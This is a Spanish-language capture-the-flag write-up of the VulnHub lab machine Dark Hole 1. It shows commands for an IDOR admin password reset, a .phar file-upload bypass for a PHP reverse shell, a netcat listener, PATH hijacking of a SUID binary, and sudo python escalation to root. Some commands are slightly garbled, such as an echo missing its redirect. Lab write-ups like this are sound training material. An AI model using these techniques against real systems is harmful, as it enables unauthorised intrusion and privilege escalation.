[VulnHub] Dark Hole 1
Introduccion
Resumen de los pasos importantes, no el writeup al 100% para no hacerlo muy largo.
En esta maquina se practican:
- Manejo de peticiones web por fallo en la programación
- File upload bypass
- Fuzzing web de directorios
- Reverse shell
- Path Hijacking
- Sudo -l
Reconocimiento
Se lanza un primer reconocimiento y se ve un servicio SSH y otro HTTP. tras no encontrar ninguna vulnerabilidad de version, dirigimos a la web y miramos código html sin éxito. Posteriormente vamos al panel de login, encontramos un formulario de registro, lo hacemos y entramos a la web.
Manejo de peticiones web
En la opcion de cambiar la password, interceptamos la petición con burpsuite y vemos esto:
POST /dashboard.php?id=2 HTTP/1.1
...
...
...
password=test&id=2
Cambiamos lo ultimo por lo siguiente, interpretando que el usuario con ID 1 pueda ser el admin:
password=test&id=1
Y con éxito pudimos cambiar la pass al usuario admin, asi que logueamos como administrador.
Acceso a la MV
Encontramos un apartado para file upload, así que subimos una revese shell en php, para ello lo hacemos con la extension .phar ya que no deja .php
Hacemos fuzzing y descubirmos el directorio upload
gobuster dir -u http://192.168.118.129/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
/upload (Status: 301) [Size: 319] [--> http://192.168.118.129/upload/]
nos ponemos a la escucha y visitamos la url para establecer la reverse shell:
nc -nlvp 1234
http://192.168.118.129/upload/rev.phtml
Pivoting to user john
Mirando /etc/passwd vemos el usuario john, ademas comprobando permisos SUID vemos un script /home/john/toto y al ejecutarlo los muestra la salida del comando ID:
www-data@darkhole:/home/john$ find / -perm -4000 2>/dev/null
/home/john/toto
www-data@darkhole:/home/john$ ./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)
Al ser un binario extraño, al analizarlo con strings vemos codigo que no se entiende, pero si por suerte el id no tiene la ruta absoluta /usr/bin/id, podemos falsear el path para pivotar, de esta manera cuando ejecute “id” realmente estará ejecutando /bin/bash y spameará una shell como john.
echo "/bin/bash" /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
www-data@darkhole:/home/john$ ./toto
john@darkhole:/home/john$
Escalando a root
Con sudo -l vemos que se puede ejecutar como root python3 el script file.py asi que lo editamos para spamear una shell como root
john@darkhole:/home/john$ sudo -l
[sudo] password for john:
Matching Defaults entries for john on darkhole:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on darkhole:
(root) /usr/bin/python3 /home/john/file.py
```bash
Contenido de file.py
import os; os.system(“/bin/bash”)
Escalar
sudo /usr/bin/python3 /home/john/file.py